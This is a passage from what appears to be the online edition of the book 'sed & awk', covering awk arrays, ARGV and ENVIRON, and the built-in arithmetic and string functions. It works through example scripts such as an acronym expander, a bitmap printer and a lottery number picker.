Now let's look at a program that scans a file for acronyms. Each acronym is replaced with a full text description, and the acronym in parentheses. If a line refers to "BASIC," we'd like to replace it with the description "Beginner's All-Purpose Symbolic Instruction Code" and put the acronym in parentheses afterwards. (This is probably not a useful program in and of itself, but the techniques used in the program are general and have many such uses.)

We can design this program for use as a filter that prints all lines, regardless of whether a change has been made. We'll call it awkro.

awk '# awkro - expand acronyms
# load acronyms file into array "acro"
FILENAME == "acronyms" {
    split($0, entry, "\t")
    acro[entry[1]] = entry[2]
    next
}

# process any input line containing caps
/[A-Z][A-Z]+/ {
    # see if any field is an acronym
    for (i = 1; i <= NF; i++)
        if ( $i in acro ) {
            # if it matches, add description
            $i = acro[$i] " (" $i ")"
        }
}

{
    # print all lines
    print $0
}' acronyms  $*

Let's first see it in action. Here's a sample input file.

$ cat sample
The USGCRP is a comprehensive
research effort that includes applied
as well as basic research.
The NASA program Mission to Planet Earth
represents the principal space-based component
of the USGCRP and includes new initiatives
such as EOS and Earthprobes.

And here is the file acronyms:

$ cat acronyms
USGCRP	U.S. Global Change Research Program
NASA	National Aeronautic and Space Administration
EOS	Earth Observing System

Now we run the program on the sample file.

$ awkro sample
The U.S. Global Change Research Program (USGCRP) is a comprehensive
research effort that includes applied
as well as basic research.
The National Aeronautic and Space Administration (NASA) program
Mission to Planet Earth
represents the principal space-based component
of the U.S. Global Change Research Program (USGCRP) and includes new
initiatives
such as Earth Observing System (EOS) and Earthprobes.

We'll look at this program in two parts. The first part reads records from the acronyms file.

# load acronyms file into array "acro"
FILENAME == "acronyms" {
    split($0, entry, "\t")
    acro[entry[1]] = entry[2]
    next
}

The two fields from these records are loaded into an array using the first field as the subscript and assigning the second field to an element of the array. In other words, the acronym itself is the index to its description.

Note that we did not change the field separator, but instead used the split() function to create the array entry. This array is then used in creating an array named acro.

Here is the second half of the program:

# process any input line containing caps
/[A-Z][A-Z]+/ {
    # see if any field is an acronym
    for (i = 1; i <= NF; i++)
        if ( $i in acro ) {
            # if it matches, add description
            $i = acro[$i] " (" $i ")"
        }
}

{
    # print all lines
    print $0
}

Only lines that contain more than one consecutive capital letter are processed by the first of the two actions shown here. This action loops through each field of the record. At the heart of this section is the conditional statement that tests if the current field ($i) is a subscript of the array (acro). If the field is a subscript, we replace the original value of the field with the array element and the original value in parentheses. (Fields can be assigned new values, just like regular variables.) Note that the insertion of the description of the acronym results in lines that may be too long. See the next chapter for a discussion of the length() function, which can be used to determine the length of a string so you can divide it up if it is too long.

Now we're going to change the program so it makes a replacement only the first time an acronym appears. After we've found it, we don't want to search for that acronym any more. This is easy to do; we simply delete that acronym from the array.

if ( $i in acro ) {
    # if it matches, add description
    $i = acro[$i] " (" $i ")"
    # only expand the acronym once
    delete acro[acronym]
}

There are other changes that would be good to make. In running the awkro program, we soon discovered that it failed to match the acronym if it was followed by a punctuation mark. Our initial solution was not to handle it in awk at all. Instead, we used two sed scripts, one before processing:

sed 's/\([^.,;:!][^.,;:!]*\)\([.,;:!]\)/\1 @@@\2/g'

and one after:

sed 's/ @@@\([.,;:!]\)/\1/g'

A sed script, run prior to invoking awk, could simply insert a space before any punctuation mark, causing it to be interpreted as a separate field. A string of garbage characters (@@@) was also added so we'd be able to easily identify and restore the punctuation mark. (The complicated expression used in the first sed command makes sure that we catch the case of more than one punctuation mark on a line.)

This kind of solution, using another tool in the UNIX toolbox, demonstrates that not everything needs to be done as an awk procedure. Awk is all the more valuable because it is situated in the UNIX environment.

However, with POSIX awk, we can implement a different solution, one that uses a regular expression to match the acronym. Such a solution can be implemented with the match() and sub() functions described in the next chapter.

8.5.1 Multidimensional Arrays

Awk supports linear arrays in which the index to each element of the array is a single subscript. If you imagine a linear array as a row of numbers, a two-dimensional array represents rows and columns of numbers. You might refer to the element in the second column of the third row as "array[3, 2]." Two- and three-dimensional arrays are examples of multidimensional arrays. Awk does not support multidimensional arrays but instead offers a syntax for subscripts that simulate a reference to a multidimensional array. For instance, you could write the following expression:

file_array[NR, i] = $i

where each field of an input record is indexed by its record number and field number. Thus, the following reference:

file_array[2, 4]

would produce the value of the fourth field of the second record.

This syntax does not create a multidimensional array. It is converted into a string that uniquely identifies the element in a linear array. The components of a multidimensional subscript are interpreted as individual strings ("2" and "4," for instance) and concatenated together separated by the value of the system variable SUBSEP. The subscript-component separator is defined as "\034" by default, an unprintable character rarely found in ASCII text. Thus, awk maintains a one-dimensional array and the subscript for our previous example would actually be "2\0344" (the concatenation of "2," the value of SUBSEP, and "4"). The main consequence of this simulation of multidimensional arrays is that the larger the array, the slower it is to access individual elements. However, you should time this, using your own application, with different awk implementations (see Chapter 11, A Flock of awks).

Here is a sample awk script named bitmap.awk that shows how to load and output the elements of a multidimensional array. This array represents a two-dimensional bitmap that is 12 characters in width and height.

BEGIN { FS = ","   # comma-separated fields
    # assign width and height of bitmap
    WIDTH = 12
    HEIGHT = 12
    # loop to load entire array with "O"
    for (i = 1; i <= WIDTH; ++i)
        for (j = 1; j <= HEIGHT; ++j)
            bitmap[i, j] = "O"
}
# read input of the form x,y.
{
    # assign "X" to that element of array
    bitmap[$1, $2] = "X"
}
# at end output multidimensional array
END {
    for (i = 1; i <= WIDTH; ++i){
        for (j = 1; j <= HEIGHT; ++j)
            printf("%s", bitmap[i, j] )
        # after each row, print newline
        printf("\n")
    }
}

Before any input is read, the bitmap array is loaded with O's. This array has 144 elements. The input to this program is a series of coordinates, one per line.

$ cat bitmap.test
1,1
2,2
3,3
4,4
5,5
6,6
7,7
8,8
9,9
10,10
11,11
12,12
1,12
2,11
3,10
4,9
5,8
6,7
7,6
8,5
9,4
10,3
11,2
12,1

For each coordinate, the program will put an "X" in place of an "O" as that element of the array. At the end of the script, the same kind of loop that loaded the array, now outputs it. The following example reads the input from the file bitmap.test.

$ awk -f bitmap.awk bitmap.test
XOOOOOOOOOOX
OXOOOOOOOOXO
OOXOOOOOOXOO
OOOXOOOOXOOO
OOOOXOOXOOOO
OOOOOXXOOOOO
OOOOOXXOOOOO
OOOOXOOXOOOO
OOOXOOOOXOOO
OOXOOOOOOXOO
OXOOOOOOOOXO
XOOOOOOOOOOX

The multidimensional array syntax is also supported in testing for array membership. The subscripts must be placed inside parentheses.

if ((i, j) in array)

This tests whether the subscript i,j (actually, i SUBSEP j) exists in the specified array.

Looping over a multidimensional array is the same as with one-dimensional arrays.

for (item in array)

You must use the split() function to access individual subscript components. Thus:

split(item, subscr, SUBSEP)

creates the array subscr from the subscript item.

Note that we needed to use the loop-within-a-loop to output the two-dimensional bitmap array in the previous example because we needed to maintain rows and columns.

Previous: 8.4 Arrays | sed & awk | Next: 8.6 System Variables That Are Arrays
8.4 Arrays | Book Index | 8.6 System Variables That Are Arrays
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.6 System Variables That Are Arrays

sed & awk

sed & awkSearch this book
Previous: 8.5 An Acronym Processor Chapter 8
Conditionals, Loops, and Arrays 		Next: 9. Functions

8.6 System Variables That Are Arrays

Awk provides two system variables that are arrays:

ARGV

An array of command-line arguments, excluding the script itself and any options specified with the invocation of awk. The number of elements in this array is available in ARGC. The index of the first element of the array is 0 (unlike all other arrays in awk but consistent with C) and the last is ARGC - 1.

ENVIRON

An array of environment variables. Each element of the array is the value in the current environment and the index is the name of the environment variable.

8.6.1 An Array of Command-Line Parameters

You can write a loop to reference all the elements of the ARGV array.

# argv.awk - print command-line parameters
BEGIN { for (x = 0; x < ARGC; ++x)
        print ARGV[x]
    print ARGC
}

This example also prints out the value of ARGC, the number of command-line arguments. Here's an example of how it works on a sample command line:

$ awk -f argv.awk 1234 "John Wayne" Westerns n=44 -
awk
1234
John Wayne
Westerns
n=44
-
6

As you can see, there are six elements in the array. The first element is the name of the command that invoked the script. The last argument, in this case, is the filename, "-", for standard input. Note the "-f argv.awk" does not appear in the parameter list.

Generally, the value of ARGC will be at least 2. If you don't want to refer to the program name or the filename, you can initialize the counter to 1 and then test against ARGC - 1 to avoid referencing the last parameter (assuming that there is only one filename).

Remember that if you invoke awk from a shell script, the command-line parameters are passed to the shell script and not to awk. You have to pass the shell script's command-line parameters to the awk program inside the shell script. For instance, you can pass all command-line parameters from the shell script to awk, using "$*". Look at the following shell script:

awk '
# argv.sh - print command-line parameters
BEGIN {
    for (x = 0; x < ARGC; ++x)
        print ARGV[x]
    print ARGC
}' $*

This shell script works the same as the first example of invoking awk.

One practical use is to test the command-line parameters in the BEGIN rule using a regular expression. The following example tests that all the parameters, except the first, are integers.

# number.awk - test command-line parameters
BEGIN {
    for (x = 1; x < ARGC; ++x)
        if ( ARGV[x] !~ /^[0-9]+$/ ) {
            print ARGV[x], "is not an integer."
            exit 1
        }
}

If the parameters contain any character that is not a digit, the program will print the message and quit.

After testing the value, you can, of course, assign it to a variable. For instance, we could write a BEGIN procedure of a script that checks the command-line parameters before prompting the user. Let's look at the following shell script that uses the phone and address database from the previous chapter:

awk '# phone - find phone number for person
# supply name of person on command line or at prompt.
BEGIN { FS = ","
    # look for parameter
    if ( ARGC > 2 ){
        name = ARGV[1]
        delete ARGV[1]
    } else {
        # loop until we get a name
        while (! name) {
            printf("Enter a name? ")
            getline name < "-"
        }
    }
}
$1 ~ name {
    print $1, $NF
}' $* phones.data

We test the ARGC variable to see if there are more than two parameters. By specifying "$*", we can pass all the parameters from the shell command line inside to the awk command line. If this parameter has been supplied, we assume the second parameter, ARGV[1], is the one we want and it is assigned to the variable name. Then that parameter is deleted from the array. This is very important if the parameter that is supplied on the command line is not of the form "var=value"; otherwise, it will later be interpreted as a filename. If additional parameters are supplied, they will be interpreted as filenames of alternative phone databases. If there are not more than two parameters, then we prompt for the name. The getline function is discussed in Chapter 10; using this syntax, it reads the next line from standard input.

Here are several examples of this script in action:

$ phone John
John Robinson 696-0987
$ phone
Enter a name? Alice
Alice Gold (707) 724-0000
$ phone Alice /usr/central/phonebase
Alice Watson (617) 555-0000
Alice Gold (707) 724-0000

The first example supplies the name on the command line, the second prompts the user, and the third takes two command-line parameters and uses the second as a filename. (The script will not allow you to supply a filename without supplying the person's name on the command line. You could devise a test that would permit this syntax, though.)

Because you can add to and delete from the ARGV array, there is the potential for doing a lot of interesting manipulation. You can place a filename at the end of the ARGV array, for instance, and it will be opened as though it were specified on the command line. Similarly, you can delete a filename from the array and it will never be opened. Note that if you add new elements to ARGV, you should also increment ARGC; awk uses the value of ARGC to know how many elements in ARGV it should process. Thus, simply decrementing ARGC will keep awk from examining the final element in ARGV.

As a special case, if the value of an ARGV element is the empty string (""), awk will skip over it and continue on to the next element.

8.6.2 An Array of Environment Variables

The ENVIRON array was added independently to both gawk and MKS awk. It was then added to the System V Release 4 nawk, and is now included in the POSIX standard for awk. It allows you to access variables in the environment. The following script loops through the elements of the ENVIRON array and prints them.

# environ.awk - print environment variable
BEGIN {
    for (env in ENVIRON)
        print env "=" ENVIRON[env]
}

The index of the array is the variable name. The script generates the same output produced by the env command (printenv on some systems).

$ awk -f environ.awk
DISPLAY=scribe:0.0
FRAME=Shell 3
LOGNAME=dale
MAIL=/usr/mail/dale
PATH=:/bin:/usr/bin:/usr/ucb:/work/bin:/mac/bin:.
TERM=mac2cs
HOME=/work/dale
SHELL=/bin/csh
TZ=PST8PDT
EDITOR=/usr/bin/vi

You can reference any element, using the variable name as the index of the array:

ENVIRON["LOGNAME"]

You can also change any element of the ENVIRON array.

ENVIRON["LOGNAME"] = "Tom"

However, this change does not affect the user's actual environment (i.e., when awk is done, the value of LOGNAME will not be changed) nor does it affect the environment inherited by programs that are invoked from awk via the getline or system() functions, which are described in Chapter 10.

This chapter has covered many important programming constructs. You will continue to see examples in upcoming chapters that make use of these constructs. If programming is new to you, be sure you take the time to run and modify the programs in this chapter, and write small programs of your own. It is essential, like learning how to conjugate verbs, that these constructs become familiar and predictable to you.

Previous: 8.5 An Acronym Processor | sed & awk | Next: 9. Functions
8.5 An Acronym Processor | Book Index | 9. Functions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] Functions

sed & awk

sed & awkSearch this book
Previous: 8.6 System Variables That Are Arrays Chapter 9 Next: 9.2 String Functions

9. Functions

Contents:
Arithmetic Functions
String Functions
Writing Your Own Functions

A function is a self-contained computation that accepts a number of arguments as input and returns some value. Awk has a number of built-in functions in two groups: arithmetic and string functions. Awk also provides user-defined functions, which allow you to expand upon the built-in functions by writing your own.

9.1 Arithmetic Functions

Nine of the built-in functions can be classified as arithmetic functions. Most of them take a numeric argument and return a numeric value. Table 9.1 summarizes these arithmetic functions.

Table 9.1: awk's Built-In Arithmetic Functions
Awk Function | Description
cos(x) | Returns cosine of x (x is in radians).
exp(x) | Returns e to the power x.
int(x) | Returns truncated value of x.
log(x) | Returns natural logarithm (base-e) of x.
sin(x) | Returns sine of x (x is in radians).
sqrt(x) | Returns square root of x.
atan2(y,x) | Returns arctangent of y/x in the range - [pi] to [pi] .
rand() | Returns pseudo-random number r, where 0 <= r < 1.
srand(x) | Establishes new seed for rand(). If no seed is specified, uses time of day. Returns the old seed.

9.1.1 Trigonometric Functions

The trigonometric functions cos() and sin() work the same way, taking a single argument that is the size of an angle in radians and returning the cosine or sine for that angle. (To convert from degrees to radians, multiply the number by [pi] /180.) The trigonometric function atan2() takes two arguments and returns the arctangent of their quotient. The expression

atan2(0, -1)

produces [pi].

The function exp() uses the natural exponential, which is also known as base-e exponentiation. The expression

exp(1)

returns the natural number 2.71828, the base of the natural logarithms, referred to as e. Thus, exp(x) is e to the x-th power.

The log() function gives the inverse of the exp() function, the natural logarithm of x. The sqrt() function takes a single argument and returns the (positive) square root of that argument.

9.1.2 Integer Function

The int() function truncates a numeric value by removing digits to the right of the decimal point. Look at the following two statements:

print 100/3
print int(100/3)

The output from these statements is shown below:

33.3333
33

The int() function simply truncates; it does not round up or down. (Use the printf format "%.0f" to perform rounding.)[1]

[1] The way printf does rounding is discussed in Appendix B, Quick Reference for awk.

9.1.3 Random Number Generation

The rand() function generates a pseudo-random floating-point number between 0 and 1. The srand() function sets the seed or starting point for random number generation. If srand() is called without an argument, it uses the time of day to generate the seed. With an argument x, srand() uses x as the seed.

If you don't call srand() at all, awk acts as if srand() had been called with a constant argument before your program started, causing you to get the same starting point every time you run your program. This is useful if you want reproducible behavior for testing, but inappropriate if you really do want your program to behave differently every time. Look at the following script:

# rand.awk -- test random number generation
BEGIN {
    print rand()
    print rand()
    srand()
    print rand()
    print rand()
}

We print the result of the rand() function twice, and then call the srand() function before printing the result of the rand() function two more times. Let's run the script.

$ awk -f rand.awk
0.513871
0.175726
0.760277
0.263863

Four random numbers are generated. Now look what happens when we run the program again:

$ awk -f rand.awk
0.513871
0.175726
0.787988
0.305033

The first two "random" numbers are identical to the numbers generated in the previous run of the program while the last two numbers are different. The last two numbers are different because we provided the rand() function with a new seed.

The return value of the srand() function is the seed it was using. This can be used to keep track of sequences of random numbers, and re-run them if needed.

9.1.4 Pick 'em

To show how to use rand(), we'll look at a script that implements a "quick-pick" for a lottery game. This script, named lotto, picks x numbers from a series of numbers 1 to y. Two arguments can be supplied on the command line: how many numbers to pick (the default is 6) and the highest number in the series (the default is 30). Using the default values for x and y, the script generates six unique random numbers between 1 and 30. The numbers are sorted for readability from lowest to highest and output. Before looking at the script itself, let's run the program:

$ lotto
Pick 6 of 30
9 13 25 28 29 30
$ lotto 7 35
Pick 7 of 35
1 6 9 16 20 22 27

The first example uses the default values to print six random numbers from 1 to 30. The second example prints seven random numbers out of 35.

The full lotto script is fairly complicated, so before looking at the entire script, let's look at a smaller script that generates a single random number in a series:

awk -v TOPNUM=$1 '
# pick1 - pick one random number out of y
# main routine
BEGIN {
# seed random number using time of day
    srand()
# get a random number
    select = 1 + int(rand() * TOPNUM)
# print pick
    print select
}'

The shell script expects a single argument from the command line and this is passed into the program as "TOPNUM=$1," using the -v option. All the action happens in the BEGIN procedure. Since there are no other statements in the program, awk exits when the BEGIN procedure is done.

The main routine first calls the srand() function to seed the random number generator. Then we get a random number by calling the rand() function:

select = 1 + int(rand() * TOPNUM)

It might be helpful to see this expression broken up so each part of it is obvious.

Statement | Result
print r = rand() | 0.467315
print r * TOPNUM | 14.0195
print int(r * TOPNUM) | 14
print 1 + int(r * TOPNUM) | 15

Because the rand() function returns a number between 0 and 1, we multiply it by TOPNUM to get a number between 0 and TOPNUM. We then truncate the number to remove the fractional values and then add 1 to the number. The latter is necessary because rand() could return 0. In this example, the random number that is generated is 15. You could use this program to print any single number, such as picking a number between 1 and 100.

$ pick1 100
83

The lotto script must "pick one" multiple times. Basically, we need to set up a for loop to execute the rand() function as many times as needed. One of the reasons this is difficult is that we have to worry about duplicates. In other words, it is possible for a number to be picked again; therefore we have to keep track of the numbers already picked.

Here's the lotto script:

awk -v NUM=$1 -v TOPNUM=$2 '
# lotto - pick x random numbers out of y
# main routine
BEGIN {
# test command line args; NUM = $1, how many numbers to pick
# 	              TOPNUM = $2, last number in series
    if (NUM <= 0)
        NUM = 6
    if (TOPNUM <= 0)
        TOPNUM = 30
# print "Pick x of y"
    printf("Pick %d of %d\n", NUM, TOPNUM)
# seed random number using time and date; do this once
    srand()
# loop until we have NUM selections
    for (j = 1; j <= NUM; ++j) {
        # loop to find a not-yet-seen selection
        do {
            select = 1 + int(rand() * TOPNUM)
        } while (select in pick)
        pick[select] = select
    }
# loop through array and print picks.
    for (j in pick)
        printf("%s ", pick[j])
    printf("\n")
}'

Unlike the previous program, this one looks for two command-line arguments, indicating x numbers out of y. The main routine looks to see if these numbers were supplied and if not, assigns default values.

There is only one array, pick, for holding the random numbers that are selected. Each number is guaranteed to be in the desired range, because the result of rand() (a value between 0 and 1) is multiplied by TOPNUM and then truncated. The heart of the script is a loop that occurs NUM times to assign NUM elements to the pick array.

To get a new non-duplicate random number, we use an inner loop that generates selections and tests to see if they are in the pick array. (Using the in operator is much faster than looping through the array comparing subscripts.) While (select in pick), the corresponding element has been found already, so the selection is a duplicate and we reject the selection. If it is not true that select in pick, then we assign select to an element of the pick array. This will make future in tests return true, causing the do loop to continue.

Finally, the program loops through the pick array and prints the elements. This version of the lotto script leaves one thing out. See if you can tell what it is if we run it again:

$ lotto 7 35
Pick 7 of 35
5 21 9 30 29 20 2

That's right, the numbers are not sorted. We'll defer showing the code for the sort routine until we discuss user-defined functions. While it's not necessary to have written the sorting code as a function, it makes a lot of sense. One reason is that you can tackle a more generalized problem and retain the solution for use in other programs. Later on, we will write a function that sorts the elements of an array.

Note that the pick array isn't ready for sorting, since its indices are the same as its values, not numbers in order. We would have to set up a separate array for sorting by our sort function:

# create a numerically indexed array for sorting
i = 1
for (j in pick)
    sortedpick[i++] = pick[j]

The lotto program is set up to do everything in the BEGIN block. No input is processed. You could, however, revise this script to read a list of names from a file and for each name generate a "quick-pick."

Previous: 8.6 System Variables That Are Arrays | sed & awk | Next: 9.2 String Functions
8.6 System Variables That Are Arrays | Book Index | 9.2 String Functions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.2 String Functions

sed & awk

sed & awkSearch this book
Previous: 9.1 Arithmetic Functions Chapter 9
Functions 		Next: 9.3 Writing Your Own Functions

9.2 String Functions

The built-in string functions are much more significant and interesting than the numeric functions. Because awk is essentially designed as a string-processing language, a lot of its power derives from these functions. Table 9.2 lists the string functions found in awk.

Table 9.2: Awk's Built-In String Functions
Awk Function | Description
gsub(r,s,t) | Globally substitutes s for each match of the regular expression r in the string t. Returns the number of substitutions. If t is not supplied, defaults to $0.
index(s,t) | Returns position of substring t in string s or zero if not present.
length(s) | Returns length of string s or length of $0 if no string is supplied.
match(s,r) | Returns either the position in s where the regular expression r begins, or 0 if no occurrences are found. Sets the values of RSTART and RLENGTH.
split(s,a,sep) | Parses string s into elements of array a using field separator sep; returns number of elements. If sep is not supplied, FS is used. Array splitting works the same way as field splitting.
sprintf("fmt",expr) | Uses printf format specification for expr.
sub(r,s,t) | Substitutes s for first match of the regular expression r in the string t. Returns 1 if successful; 0 otherwise. If t is not supplied, defaults to $0.
substr(s,p,n) | Returns substring of string s at beginning position p up to a maximum length of n. If n is not supplied, the rest of the string from p is used.
tolower(s) | Translates all uppercase characters in string s to lowercase and returns the new string.
toupper(s) | Translates all lowercase characters in string s to uppercase and returns the new string.

The split() function was introduced in the previous chapter in the discussion on arrays.

The sprintf() function uses the same format specifications as printf(), which is discussed in Chapter 7, Writing Scripts for awk. It allows you to apply the format specifications on a string. Instead of printing the result, sprintf() returns a string that can be assigned to a variable. It can do specialized processing of input records or fields, such as performing character conversions. For instance, the following example uses the sprintf() function to convert a number into an ASCII character.

for (i = 97; i <= 122; ++i) {
    nextletter = sprintf("%c", i)
    ...
}

A loop supplies numbers from 97 to 122, which produce ASCII characters from a to z.

That leaves us with three basic built-in string functions to discuss: index(), substr(), and length().

9.2.1 Substrings

The index() and substr() functions both deal with substrings. Given a string s, index(s,t) returns the leftmost position where string t is found in s. The beginning of the string is position 1 (which is different from the C language, where the first character in a string is at position 0). Look at the following example:

pos = index("Mississippi", "is")

The value of pos is 2. If the substring is not found, the index() function returns 0.

Given a string s, substr(s,p) returns the characters beginning at position p. The following example creates a phone number without an area code.

phone = substr("707-555-1111", 5)

You can also supply a third argument which is the number of characters to return. The next example returns just the area code:

area_code = substr("707-555-1111", 1, 3)

The two functions can be and often are used together, as in the next example. This example capitalizes the first letter of the first word for each input record.

awk '# caps - capitalize 1st letter of 1st word
# initialize strings
BEGIN { upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        lower = "abcdefghijklmnopqrstuvwxyz"
}

# for each input line
{
# get first character of first word
    FIRSTCHAR = substr($1, 1, 1)
# get position of FIRSTCHAR in lowercase array; if 0, ignore
    if (CHAR = index(lower, FIRSTCHAR))
        # change $1, using position to retrieve
        # uppercase character
        $1 = substr(upper, CHAR, 1) substr($1, 2)
# print record
    print $0
}'

This script creates two variables, upper and lower, consisting of uppercase and lowercase letters. Any character that we find in lower can be found at the same position in upper. The first statement of the main procedure extracts a single character, the first one, from the first field. The conditional statement tests to see if that character can be found in lower using the index() function. If CHAR is not 0, then CHAR can be used to extract the uppercase character from upper. There are two substr() function calls: the first one retrieves the capitalized letter and the second call gets the rest of the first field, extracting all characters, beginning with the second character. The values returned by both substr() functions are concatenated and assigned to $1. Making an assignment to a field as we do here is a new twist, but it has the added benefit that the record can be output normally. (If the assignment was made to a variable, you'd have to output the variable and then output the record's remaining fields.) The print statement prints the changed record. Let's see it in action:

$ caps
root user
Root user
dale
Dale
Tom
Tom

In a little bit, we'll see how to revise this program to change all characters in a string from lower- to uppercase or vice versa.

9.2.2 String Length

When presenting the awkro program in the previous chapter, we noted that the program was likely to produce lines that exceed 80 characters. After all, the descriptions are quite long. We can find out how many characters are in a string using the built-in function length(). For instance, to evaluate the length of the current input record, we specify length($0). (As it happens, if length() is called without an argument, it returns the length of $0.)

The length() function is often used to find the length of the current input record, in order to determine if we need to break the line.

One way to handle the line break, perhaps more efficiently, is to use the length() function to get the length of each field. By accumulating those lengths, we could specify a line break when a new field causes the total to exceed a certain number.

Chapter 13, A Miscellany of Scripts, contains a script that uses the length() function to break lines greater than 80 columns wide.

9.2.3 Substitution Functions

Awk provides two substitution functions: sub() and gsub(). The difference between them is that gsub() performs its substitution globally on the input string whereas sub() makes only the first possible substitution. This makes gsub() equivalent to the sed substitution command with the g (global) flag.

Both functions take at least two arguments. The first is a regular expression (surrounded by slashes) that matches a pattern and the second argument is a string that replaces what the pattern matches. The regular expression can be supplied by a variable, in which case the slashes are omitted. An optional third argument specifies the string that is the target of the substitution. If there is no third argument, the substitution is made for the current input record ($0).

The substitution functions change the specified string directly. You might expect, given the way functions work, that the function returns the new string created when the substitution is made. The substitution functions actually return the number of substitutions made. sub() will always return 1 if successful; both return 0 if not successful. Thus, you can test the result to see if a substitution was made.

For example, the following example uses gsub() to replace all occurrences of "UNIX" with "POSIX".

if (gsub(/UNIX/, "POSIX"))
    print

The conditional statement tests the return value of gsub() such that the current input line is printed only if a change is made.

As with sed, if an "&" appears in the substitution string, it will be replaced by the string matched by the regular expression. Use "\&" to output an ampersand. (Remember that to get a literal "\" into a string, you have to type two of them.) Also, note that awk does not "remember" the previous regular expression, as does sed, so you cannot use the syntax "//" to refer to the last regular expression.

The following example surrounds any occurrence of "UNIX" with the troff font-change escape sequences.

gsub(/UNIX/, "\\fB&\\fR")

If the input is "the UNIX operating system", the output is "the \fBUNIX\fR operating system".

In Chapter 4, Writing sed Scripts, we presented the following sed script named do.outline:

sed -n '
s/"//g
s/^\.Se /Chapter /p
s/^\.Ah /  · A. /p
s/^\.Bh /  ·   · B.  /p' $*

Now here's that script rewritten using the substitution functions:

awk '
{
gsub(/"/, "")
if (sub(/^\.Se /, "Chapter ")) print
if (sub(/^\.Ah /, "\tA. ")) print
if (sub(/^\.Bh /, "\t\tB.  ")) print
}' $*

The two scripts are exactly equivalent, printing out only those lines that are changed. For the first edition of this book, Dale compared the run-time of both scripts and, as he expected, the awk script was slower. For the second edition, new timings showed that performance varies by implementation, and in fact, all tested versions of new awk were faster than sed! This is nice, since we have the capabilities in awk to make the script do more things. For instance, instead of using letters of the alphabet, we could number the headings. Here's the revised awk script:

awk '# do.outline -- number headings in chapter.
{
gsub(/"/, "")
}
/^\.Se/ {
    sub(/^\.Se /, "Chapter ")
    ch = $2
    ah = 0
    bh = 0
    print
    next
}
/^\.Ah/ {
    sub(/^\.Ah /, "\t " ch "." ++ah " ")
    bh = 0
    print
    next
}
/^\.Bh/ {
    sub(/^\.Bh /, "\t\t " ch "."  ah "." ++bh " ")
    print
}' $*

In this version, we break out each heading into its own pattern-matching rule. This is not necessary but seems more efficient since we know that once a rule is applied, we don't need to look at the others. Note the use of the next statement to bypass further examination of a line that has already been identified.

The chapter number is read as the first argument to the ".Se" macro and is thus the second field on that line. The numbering scheme is done by incrementing a variable each time the substitution is made. The action associated with the chapter-level heading initializes the section-heading counters to zero. The action associated with the top-level heading ".Ah" zeroes the second-level heading counter. Obviously, you can create as many levels of heading as you need. Note how we can specify a concatenation of strings and variables as a single argument to the sub() function.

$ do.outline ch02
Chapter 2 Understanding Basic Operations
         2.1 Awk, by Sed and Grep, out of Ed
         2.2 Command-line Syntax
                 2.2.1 Scripting
                 2.2.2 Sample Mailing List
         2.3 Using Sed
                 2.3.1 Specifying Simple Instructions
                 2.3.2 Script Files
         2.4 Using Awk
         2.5 Using Sed and Awk Together

If you wanted the option of choosing either numbers or letters, you could maintain both programs and construct a shell wrapper that uses some flag to determine which program should be invoked.

9.2.4 Converting Case

POSIX awk provides two functions for converting the case of characters within a string. The functions are tolower() and toupper(). Each takes a single string argument, and returns a copy of that string, with all the characters of one case converted to the other (upper to lower and lower to upper, respectively). Their use is straightforward:

$ cat test
Hello, World!
Good-bye CRUEL world!
1, 2, 3, and away we GO!
$ awk '{ printf("<%s>, <%s>\n", tolower($0), toupper($0)) }' test
<hello, world!>, <HELLO, WORLD!>
<good-bye cruel world!>, <GOOD-BYE CRUEL WORLD!>
<1, 2, 3, and away we go!>, <1, 2, 3, AND AWAY WE GO!>

Note that nonalphabetic characters are left unchanged.

9.2.5 The match() Function

The match() function allows you to determine if a regular expression matches a specified string. It takes two arguments, the string and the regular expression. (This function is confusing because the regular expression is in the second position, whereas it is in the first position for the substitution functions.)

The match() function returns the starting position of the substring that was matched by the regular expression. You might consider it a close relation to the index() function. In the following example, the regular expression matches any sequence of capital letters in the string "the UNIX operating system".

match("the UNIX operating system", /[A-Z]+/)

The value returned by this function is 5, the character position of "U," the first capital letter in the string.

The match() function also sets two system variables: RSTART and RLENGTH. RSTART contains the same value returned by the function, the starting position of the substring. RLENGTH contains the length of the string in characters (not the ending position of the substring). When the pattern does not match, RSTART is set to 0 and RLENGTH is set to -1. In the previous example, RSTART is equal to 5 and RLENGTH is equal to 4. (Adding them together gives you the position of the first character after the match.)

Let's look at a rather simple example that prints out a string matched by a specified regular expression, demonstrating the "extent of the match," as discussed in Chapter 3, Understanding Regular Expression Syntax. The following shell script takes two command-line arguments: the regular expression, which should be specified in quotes, and the name of the file to search.

awk '# match -- print string that matches line
# for lines match pattern
match($0, pattern) {
    # extract string matching pattern using
    # starting position and length of string in $0
    # print string
    print substr($0, RSTART, RLENGTH)
}' pattern="$1" $2

The first command-line parameter is passed as the value of pattern. Note that $1 is surrounded by quotes, necessary to protect any spaces that might appear in the regular expression. The match() function appears in a conditional expression that controls execution of the only procedure in this awk script. The match() function returns 0 if the pattern is not found, and a non-zero value (RSTART) if it is found, allowing the return value to be used as a condition. If the current record matches the pattern, then the string is extracted from $0, using the values of RSTART and RLENGTH in the substr() function to specify the starting position of the substring to be extracted and its length. The substring is printed. This procedure only matches the first occurrence in $0.

Here's a trial run, given a regular expression that matches "emp" and any number of characters up to a blank space:

$ match "emp[^ ]*" personnel.txt
employees
employee
employee.
employment,
employer
employment
employee's
employee

The match script could be a useful tool in improving your understanding of regular expressions.

The next script uses the match() function to locate any sequence of uppercase letters so that they can be converted to lowercase. Compare it to the caps program shown earlier in the chapter.

awk '# lower - change upper case to lower case
# initialize strings
BEGIN { upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        lower = "abcdefghijklmnopqrstuvwxyz"
}

# for each input line
{
# see if there is a match for all caps
     while (match($0, /[A-Z]+/))
        # get each cap letter
        for (x = RSTART; x < RSTART+RLENGTH; ++x) {
            CAP = substr($0, x, 1)
            CHAR = index(upper, CAP)
            # substitute lowercase for upper
